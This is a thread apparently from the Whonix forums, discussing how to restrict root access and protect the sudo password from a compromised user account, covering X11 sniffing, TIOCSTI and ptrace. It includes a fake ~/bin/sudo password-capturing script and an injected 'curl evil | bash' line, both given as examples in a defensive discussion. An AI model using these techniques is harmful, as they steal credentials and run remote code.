Anything useful we can use here?
No, it’s just configuring settings for some programs to not leave as many files left behind and to allow the user to login without a password.
I don’t see how the polkit thing would help. Any major system-wide changes would require root.
Bug found that might be causes by this.
Due to this user support request E: Unable to correct problems, you have held broken packages. I found an issue.
sudo apt-get install postgresql postgresql-client
/var/lib/dpkg/info/postgresql-common.postinst: 59: /var/lib/dpkg/info/postgresql-common.postinst: su: Operation not permitted
Probably caused by the following code snippet by
# ensure home directory ownership mkdir -p /var/lib/postgresql su -s /bin/sh postgres -c "test -O /var/lib/postgresql && test -G /var/lib/postgresql" || \ chown postgres:postgres /var/lib/postgresql
E: Unable to correct problems, you have held broken packages. does not fail because of this The postinst does not exit non-zero because it is happening in a pipe and it’s not
set -o pipefail.
Might also be caused by apt seccomp (since the postinst runs as root so
su should be permitted). Need to try to reproduce on Debian without security-misc package with and without apt seccomp.
Sorry to bring up an old point, but Xorg is a red herring.
user@host:~$ cat ~/bin/sudo #!/bin/bash read -sp "[pseudo] password for user: " lol
Even if you log in from virtual console and run
how do you know you are talking to bash? If you don’t trust user you don’t trust user.
~/bin/sudo isn’t part of $PATH by default so it won’t be executed by just running
Also, the chosen method was to login as the “admin” user, not the “user” user and as nothing except certain administrative activities would be run as the “admin” user, it’s unlikely there would be any malicious binary in ~/bin.
The login shell doesn’t use PATH to select what shell to use, it uses the explicit file path and the default shell is /bin/bash. See inside /etc/passwd.
You can find what you’re running anyway by running
If for whatever reason things like ~/bin/ would be a problem, you can just trim down $PATH to only contain the required directories or you can create a script that runs
which command and checks if it’s the correct file path.
Xorg is definitely not a red herring.
As per Debian default it kinda is: as soon as folder
~/bin exists and new shell opened (or after reboot?) it will be in PATH by default. Tested. I am using it and never changed PATH.
- SysRq (Magic SysRq key)
X has its problems but root access hardening has a point.
I will update https://www.whonix.org/wiki/Dev/Permissions
Weird. Even after a reboot, ~/bin isn’t in PATH for me.
Maybe at least one executable needs to be residing there.
An executable is in there but it still isn’t in PATH.
That was just an example. It still sources ~/.bashrc which could do whatever it wants. Or user might “debug” you. Or read/write /dev/tty$x. After that there is no reason to trust anything on that tty without SAK.
Yes I agree but there’s no mention of that in this thread.
The chosen method in this thread seems to be disable login as root, and force sudo instead. So now people login as user and run sudo instead of logging in as a separate user (root/admin).
It’s discussed here
as an Advanced option, and in the context of X.
X is an issue if a program not running as user can access it and sniff events. (Such a program could still try to inject “curl evil | bash” into a terminal though.)
So yes, a virtual console couldn’t hurt but it’s not a complete solution.
Edit: I just wanted to point out that the focus on X may give people the impression it’s okay to sudo from another console, which is what the non-advanced option is now. Done pointing now.
Parsing this thread can be difficult. Therefore my goal is to summarize it all on this wiki page:
Did you read https://www.whonix.org/wiki/Dev/Permissions?
Anything missing there?
Yes, and the rationale of this is explained here: https://www.whonix.org/wiki/Dev/Permissions
This is a different issue.
This forum thread “restrict root access” can be considered done. It does everything as described on page https://www.whonix.org/wiki/Dev/Permissions.
But even then, https://www.whonix.org/wiki/Root#Prevent_Malware_from_Sniffing_the_Root_Password remains valid. A user
user used for the majority of daily tasks such as browsing the internet cannot be at the same time be an ideal user to run applications with root rights using
sudo. That is because one user
user is compromised, the sudo password can be sniffed. That is why boot modes without sudo/root access are being planned:
.bashrc can be made unwritable if you want.
What do you mean? You mean with ptrace? Whonix uses YAMA now so they have to be root use ptrace.
I don’t see how this can be an actual attack vector.
Ok profile can be taken out.
Ok ptrace and process_vm_readv are out.
TIOCSTI is out but once “user” is logged into tty1, “user” owns it and can emulate a shell after SIGSTOPing the real one.
I think we can agree Xorg sniffing is only a symptom of not trusting your own account. That is all I mean. But yes, it’s a big one.
Right, the issue is isolation of processes by the same user, and Wayland removes the X-factor. But any malware must remain sandboxed to have secure password entry. Or does Wayland have some sort of sudo built in so it doesn’t have to be run by “user”?
wayland will sort the need to login using a virtual console.
User can switch to another user account
admin using wayland. Can use a graphical session and don’t need to use a different virtual console.
Hopefully. This can be researched when wayland XFCE is done.
I would hope wayland comes with a secure implementation of secure attention key, user account switching and user
user not being able to sniff user
Might have broken pkexec.
A post was split to a new topic: /proc/pid/sched spy on keystrokes - proof of concept spy-gksu
Also, switching to wayland won’t solve all of our problems.
Attackers can use the TIOCSTI ioctl to inject input to other processes in the same session. linux-hardened solves this though https://github.com/anthraxx/linux-hardened/commit/70d9a407e85d6e6648e30e058561be77f19fd55d
This can’t be used for other ttys AFAIK.
I don’t know: At least wayland doesn’t have an exclusive lock on display, keyboard etc.? By switching to to another virtual console it should be a clean virtual console, TIOCSTI ioctl should be no longer possible?
Yes, that would prevent it. Unprivileged users can only use TIOCSTI on their own console.
Root (processes with at least CAP_SYS_ADMIN) can use TIOCSTI on whatever console though.